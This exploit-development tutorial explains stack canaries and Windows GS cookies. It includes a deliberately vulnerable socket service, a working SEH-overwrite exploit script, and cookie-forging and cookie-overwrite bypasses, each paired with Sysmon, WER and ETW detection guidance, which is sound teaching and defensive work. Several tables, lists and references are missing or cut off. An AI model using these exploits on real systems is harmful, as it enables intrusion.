Stack Canaries and GS Cookies: How They Work and When They Fail

You have a clean stack overflow in an MSVC-compiled service. EIP should be yours. It isn’t, because eight bytes above your buffer sit a value you never wrote and cannot predict, and the moment the function tries to return, that value gets XOR-checked against a global. Miss it and the process fast-fails before your saved return address is even loaded. That value is the GS cookie, and knowing exactly where it lives, when it is validated, and when the validation never runs is the difference between a crash report and a shell.

Objective: Understand the internals of the MSVC /GS stack cookie and the GCC stack canary – how the value is generated, placed, and checked – then reproduce three practical bypass classes against a self-built vulnerable Windows service, and pair each with the defender telemetry that catches it.

1. Stack Overflows and the Canary Concept

A stack buffer overflow is linear. strcpy, recv-into-fixed-buffer, sprintf: they write from low addresses upward, past the buffer, over saved registers, over the saved return address. Classic exploitation overwrites that return address and redirects execution on function exit.

The canary defense is old and simple. StackGuard (1998) put a known sentinel value between the local buffers and the saved return address. Any linear overflow that reaches the return address must first trample the sentinel. The epilogue checks the sentinel against a reference copy; mismatch means corruption, and the program aborts before the poisoned return address is ever used. GCC shipped this as -fstack-protector; Microsoft shipped /GS in Visual Studio 2003 and made it default in VS 2005. VS 2010 replaced the original with GS++, widening coverage from “char/wchar arrays of 8+ elements” to any array and any struct.

The concept is sound. The failures are all in the details: which functions get a cookie, when the check actually executes, and whether the attacker can read or reconstruct the value.

2. Linux Canaries: -fstack-protector Internals

Start on Linux because the mechanism is easy to read in gdb. Build a target:

// canary_demo.c  ->  gcc -m64 -fstack-protector-all -g canary_demo.c -o canary_demo
#include <stdio.h>
#include <string.h>

void vuln(char *in) {
    char buf[64];
    strcpy(buf, in);          // linear overflow
    puts(buf);
}

int main(int argc, char **argv) {
    if (argc > 1) vuln(argv[1]);
    return 0;
}

Disassemble the prologue and epilogue in pwndbg:

pwndbg> disassemble vuln
   mov    rax, qword ptr fs:[0x28]      ; load canary from TLS
       mov    qword ptr [rbp-0x8], rax      ; store cookie at [rbp-0x8], just below saved rbp
   ...
   mov    rax, qword ptr [rbp-0x8]      ; reload stack copy
   xor    rax, qword ptr fs:[0x28]      ; compare against TLS master
   je     ret_ok
   call   __stack_chk_fail              ; mismatch -> abort

On x64 Linux the master canary lives in thread-local storage at fs:[0x28] (__stack_chk_guard). It is a terminator canary: the low byte is 0x00, so a string-copy overflow cannot cleanly write past it with printable data. GCC does not XOR the canary with the frame pointer; it copies the TLS value onto the stack and compares directly. If it fails, __stack_chk_fail prints *** stack smashing detected *** and calls abort().

Inspect the live value:

pwndbg> b vuln
pwndbg> run AAAA
pwndbg> canary
AT_RANDOM = 0x7fffffffe... -> canary = 0x8f3a2b1c9d5e4700

Two takeaways carry to Windows. First, the canary sits between the buffer and the return address, so you cannot skip it with a linear write. Second, its entropy comes from the loader, so a plain overflow cannot guess it. Everything after this is about breaking one of those two assumptions.

3. Windows GS Cookies: Compiler and Loader Mechanics

Windows adds two wrinkles GCC does not: the cookie is XOR-masked with a register, and dedicated exception handlers can validate it even when a function throws. The identifiers you will meet:

The cookie is not stored raw on the stack. The prologue XORs it with the frame pointer so that two frames never hold the same on-stack value:

; x64 prologue (frame-pointer form)
mov     rax, qword [__security_cookie]
xor     rax, rbp                     ; x86 uses EBP; frame-pointer-less x64 uses RSP
mov     qword [rbp-8], rax           ; masked cookie on stack

; epilogue
mov     rcx, qword [rbp-8]
xor     rcx, rbp
call    __security_check_cookie      ; compares rcx to global, else __report_gsfailure

On x86 the mask is EBP; on x64 it is RBP when the function keeps a frame pointer and RSP otherwise (the kernel KeBugCheckEx path uses bugcheck 0xF7). The masking matters for exploitation: to forge a valid on-stack cookie you need both the global value and the frame/stack pointer at that instant.

The compiler also reorders locals. GS buffers (arrays, structs) are hoisted to the highest addresses in the frame, and sensitive arguments are shadow-copied below the locals. An overflow of a buffer therefore reaches the cookie and return address before it reaches other scalars, and it cannot corrupt the copied arguments. That reordering is exactly what the next section shows the compiler failing to do.

4. When /GS Does Not Protect a Function

/GS is not applied to every function, and even when applied it does not always help. The gaps:

The last two rows are the practical attack surface. A struct that declares char buf[512] followed by a pointer keeps that pointer directly above the array in memory, unreorderable. Overflow the array, clobber the pointer, and you get an attacker-influenced fault. And a fault means the SEH dispatcher runs before the return path, which is the seam we drive a wedge into next.

5. Building the Lab Target

Here is a minimal, intentionally vulnerable Windows service. It is compiled with /GS on purpose. The bug is a struct overflow that both smashes an SEH record and produces a controlled access violation before the function returns.

// vuln_gs_server.c
// Build from an x86 Native Tools prompt:
//   cl /GS /Zi vuln_gs_server.c /link /SAFESEH:NO /DYNAMICBASE:NO /NXCOMPAT:NO ws2_32.lib
#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
#include <windows.h>
#include <excpt.h>   // structured exception handling (__try/__except) support
#include <string.h>
#pragma comment(lib, "ws2_32.lib")

typedef struct _REQ {
    char  buf[512];   // GS buffer: array inside a struct
    char *sink;       // trailing member: cannot be reordered above the array
} REQ;

static void handle_client(SOCKET c) {
    REQ  r;
    char netbuf[4096];
    int  n;

    r.sink = r.buf;                       // starts valid

    n = recv(c, netbuf, sizeof(netbuf) - 1, 0);
    if (n <= 0) return;
    netbuf[n] = '\0';

    #ifdef _MSC_VER
    __try {
        strcpy(r.buf, netbuf);            // linear overflow of r.buf
        *r.sink = 'X';                    // deref clobbered pointer -> AV -> SEH
    } __except (EXCEPTION_EXECUTE_HANDLER) {
        /* swallowed */
    }
#else
    strcpy(r.buf, netbuf);                // linear overflow of r.buf
    *r.sink = 'X';                        // deref clobbered pointer -> AV
#endif
}

int main(void) {
    WSADATA wsa; SOCKET srv, cli; struct sockaddr_in sa;
    WSAStartup(MAKEWORD(2, 2), &wsa);
    srv = socket(AF_INET, SOCK_STREAM, 0);
    memset(&sa, 0, sizeof(sa));
    sa.sin_family = AF_INET;
    sa.sin_port   = htons(9999);
    sa.sin_addr.s_addr = INADDR_ANY;
    bind(srv, (struct sockaddr *)&sa, sizeof(sa));
    listen(srv, 1);
    for (;;) { cli = accept(srv, NULL, NULL); handle_client(cli); closesocket(cli); }
    return 0;
}

The linker flags are deliberate lab simplifications: /SAFESEH:NO leaves the module’s handlers unvalidated, /DYNAMICBASE:NO fixes the image base so gadget addresses are stable, and /NXCOMPAT:NO lets stack shellcode execute so we focus on the cookie, not on DEP. Under DEP you would swap the shellcode for a VirtualProtect ROP stub; that is a separate lesson.

Also build a /GS- copy for side-by-side disassembly:

cl /GS- /Zi vuln_gs_nogs.c /link /SAFESEH:NO /DYNAMICBASE:NO /NXCOMPAT:NO ws2_32.lib

6. Bypass Path 1 – SEH Overwrite Before the Check

The plan: overflow reaches the on-stack EXCEPTION_REGISTRATION_RECORD (its Next and Handler fields), then *r.sink = 'X' faults through the clobbered pointer. The exception dispatcher walks the SEH chain and calls our overwritten handler, all before handle_client reaches its epilogue. The cookie check never runs.

Recon and binary analysis

dumpbin /loadconfig vuln_gs_server.exe     :: SecurityCookie field confirms /GS
winchecksec vuln_gs_server.exe             :: GS=true SafeSEH=false ASLR=false DEP=false

In WinDbg, confirm the master cookie and the unwind handler:

0:000> dd vuln_gs_server!__security_cookie L1
0:000> !dh vuln_gs_server -f            ; inspect LOAD_CONFIG / SEHandlerCount == 0

SEHandlerCount == 0 in the load config means no SafeSEH table: any address is an accepted handler. That is our gadget freedom.

Trigger and crash confirmation

# fuzz.py
import socket
s = socket.socket(); s.connect(('127.0.0.1', 9999))
s.send(b'A' * 2000); s.close()

Attach WinDbg. You get an access violation writing to 0x41414141 (the clobbered sink). Look at the SEH chain:

0:000> !exchain
0012f8b0: 41414141
Invalid exception stack at 41414141

The Handler field is already 0x41414141. The fault fired inside the __try, and the dispatcher is about to hand control to a pointer we own. The cookie is still intact on the stack and completely irrelevant, because the epilogue is never reached.

Defender view: At this stage there is no 0xC0000409 fast-fail, because the GS check never runs. A defender watching WER sees only the swallowed access violation (or nothing, since it is caught). The reliable signal comes later, when Sysmon Event ID 1 records vuln_gs_server.exe as the parent of an unexpected process.

Offset discovery

!mona pattern_create 2000

Send the cyclic pattern, read the nSEH and Handler values from !exchain, then:

!mona pattern_offset <nseh_value>       ; e.g. 528
!mona pattern_offset <handler_value>    ; e.g. 532

Gadget selection

We need a pop / pop / ret in a non-SafeSEH, non-ASLR module. The EXE itself qualifies:

!mona seh -n

Pick a pop r32; pop r32; ret address with no bad characters (no 0x00, and none of the WinSock delimiters). Call it 0x00401233.

Payload construction

# exploit_gs_seh.py
import socket, struct

nseh_offset = 528                       # from mona
ppr         = struct.pack('<I', 0x00401233)   # pop/pop/ret in EXE (non-SafeSEH)

# msfvenom -p windows/exec CMD=calc.exe EXITFUNC=seh -b '\x00' -f python
shellcode  = b'\x90' * 16
shellcode += b''  # <-- paste msfvenom buf here

buf  = b'A' * nseh_offset                # filler; also clobbers r.sink -> AV
buf += b'\xeb\x06\x90\x90'               # nSEH: short jmp +6 over the handler dword
buf += ppr                               # SEH handler: pop/pop/ret
buf += shellcode                         # lands here after the short jump
buf += b'C' * (2000 - nseh_offset - 8 - len(shellcode))

s = socket.socket(); s.connect(('127.0.0.1', 9999))
s.send(buf); s.close()

EXITFUNC=seh matters: the payload runs from inside exception dispatch, so it must return cleanly through the SEH path rather than call ExitProcess. The \xeb\x06 short jump skips the 4-byte handler pointer and the two remaining nSEH pad bytes, landing in the NOP pad before the shellcode.

Verify

Break on the gadget, then single-step:

0:000> bp 0x00401233
0:000> g

pop pop ret pivots EIP into the nSEH bytes, the short jump carries you into the NOP sled, and calc.exe pops. Note in the debugger that __security_check_cookie was never entered.

Defender view: Sysmon Event ID 1 fires with ParentImage=vuln_gs_server.exe and Image=calc.exe, and Audit 4688 captures the CMD=calc.exe command line. A listener process parenting an interactive binary is the anomaly a Sigma rule should alert on. Cost me an hour the first time I built one of these: I forgot EXITFUNC=seh and the payload corrupted the very SEH frame it was standing on, so calc flickered and the process died mid-spawn.

7. Bypass Path 2 – Info-Leak and Cookie Reconstruction

When you cannot avoid the epilogue, defeat the check by supplying the right value. The cookie is __security_cookie XOR frame_pointer, so you need two leaks:

1. Read __security_cookie from the module’s .data section via an out-of-bounds read primitive (a format-string leak or an OOB recv echo in the lab build).
2. Leak a stack address at the moment of the overflow to recover the frame pointer used as the XOR mask.

# reconstruction sketch (lab pseudo-primitives)
leaked_cookie = read_data(module_base + SECURITY_COOKIE_RVA)   # OOB read
frame_ptr     = leak_stack_pointer()                           # stack info-leak
onstack_value = leaked_cookie ^ frame_ptr

payload  = b'A' * canary_offset
payload += struct.pack('<I', onstack_value)   # forged, valid cookie
payload += b'B' * saved_ebp_len
payload += struct.pack('<I', ret_addr)        # normal EIP hijack

Step it in WinDbg: __security_check_cookie now passes, the epilogue loads your return address, and EIP is yours. ASLR does not stop this once you have the read primitive, because the leak resolves both the .data base and the live stack. No leak, no reconstruction: this is why info-leak bugs are prized.

Defender view: Because the forged cookie passes __security_check_cookie, WER stays silent – there is no 0xC0000409 to log. Detection shifts to the Microsoft-Windows-Security-Mitigations ETW provider and to Sysmon Events 1/3 catching the post-exploitation process and C2 connection.

8. Bypass Path 3 – Arbitrary Write to the .data Cookie

If you hold a 4-byte arbitrary write, you can rewrite the referee. The .data section is writable, so overwrite __security_cookie with a value you choose, then place that same value on the stack in your overflow. The epilogue compares your stack value against your global value: they match.

0:000> ? vuln_gs_server!__security_cookie
0:000> ed vuln_gs_server!__security_cookie 0x41414141   ; arbitrary write target

Then the overflow writes 0x41414141 (XOR-masked with the frame pointer, which you must account for) at the canary slot. The check passes and the return address flows. This is the cleanest illustration that a stack cookie is only as trustworthy as the writability of its reference copy. In the HEVD kernel StackOverflowGS variant, the same idea is driven by a kernel arbitrary-read to recover the cookie rather than a write, because .data there is not freely writable.

9. Common Attacker Techniques

10. Detection and Defense

Every step above leaves telemetry. Here is the defender view paired to the offensive path.

Windows Error Reporting (WER)

A GS cookie failure on Windows 8+ routes through __report_gsfailure to __fastfail, terminating the process with exception code 0xC0000409 (STATUS_STACK_BUFFER_OVERRUN). WER writes a report to %LOCALAPPDATA%\Microsoft\Windows\WER\ReportQueue\ with a crash dump that identifies the faulting stack frame. In the Application event log this surfaces as:

• Event ID 1000 – Application Error (the crash itself).
• Event ID 1001 – Windows Error Reporting fault bucket.

Crucially, the SEH-overwrite bypass (Path 1) does not produce a 0xC0000409 because the cookie check never runs – instead you see the swallowed access violation and, post-exploitation, the anomalous child process. Info-leak reconstruction (Path 2) and the .data overwrite (Path 3) also pass the check cleanly, so WER stays quiet. That silence is itself the signal: a service that used to fast-fail under fuzzing and now spawns calc.exe was bypassed, not stopped.

Sysmon Events

Key Sigma fields for post-bypass detection:

• EventID: 1 + ParentImage = vuln_gs_server.exe spawning a shell interpreter.
• EventID: 3 + Initiated: true + source image = server process + destination outside allowlist.

ETW Providers

• Microsoft-Windows-Security-Mitigations ({FAE10392-F0AF-4AC0-B8FF-9F4D920C3CDF}) – emits events on mitigation checks including stack protection failures; strong EDR telemetry for the Path 3 tamper.
• Microsoft-Windows-Kernel-Process – process start/stop with integrity level.
• Microsoft-Windows-Windows-Error-Reporting – WER bucket IDs correlating to crash signatures.

Windows Audit Policy

• Audit Process Creation (Event ID 4688): enable “Include command line in process creation events” via GPO under Computer Configuration > Windows Settings > Security Settings > Advanced Audit Policy > Detailed Tracking. Command line captures the CMD=calc.exe payload intent.
• Audit Object Access: relevant when shellcode calls VirtualProtect/VirtualAlloc to stage under DEP.

Compiler and Linker Hardening Checklist

11. MITRE ATT&CK Mapping

MITRE ATT&CK has no sub-technique dedicated to “stack canary bypass.” The honest mapping is T1203 for the exploit delivery and T1211 for the mitigation-bypass aspect – do not invent a sub-technique ID.

12. Recap

The GS cookie is a sentinel-plus-referee scheme: a masked value on the stack (__security_cookie XOR frame_pointer) checked in the epilogue against a global reference in .data. Its security rests on three assumptions – the overflow must cross the sentinel, the epilogue must actually run, and the attacker must be unable to read or rewrite the referee. Each bypass breaks one assumption: SEH overwrite (Path 1) faults before the epilogue runs so the check never fires; info-leak reconstruction (Path 2) forges a valid on-stack value; and the arbitrary-write attack (Path 3) rewrites the referee itself. On the defensive side, /SAFESEH plus SEHOP closes Path 1, ASLR forces an info-leak for Path 2, and CFG/DEP raise the cost of the code execution that follows any of them. The cookie is a real speed bump, not a wall – and the telemetry it emits (or conspicuously fails to emit under a clean bypass) is where detection lives.

Related Tutorials

• Egghunters: Staged Payload Delivery When Buffer Space Is Tight
• Classic Stack Buffer Overflow: Smashing the Stack on Windows
• Understanding the Stack: Frames, Prologue/Epilogue, and Stack Layout
• Shellcode Encoders: XOR Encoding, Custom Decoders, and Avoiding Bad Chars
• Position-Independent Code: Writing PIC Shellcode Without Hardcoded Addresses

References

• C++: Visual C++ Support for Stack-Based Buffer Protection (MSDN Magazine, Dec 2017)
• A Modern Exploration of Windows Memory Corruption Exploits – Part I: Stack Overflows (Forrest Orr, Dec 2020)
• 2009, updated)
• Jan 2023)
• HEVD StackOverflowGS on Windows 10 RS5 x64 (Kristal G, Feb 2021)
• GitHub)
• Microsoft Learn – Sysmon Events
• 2012)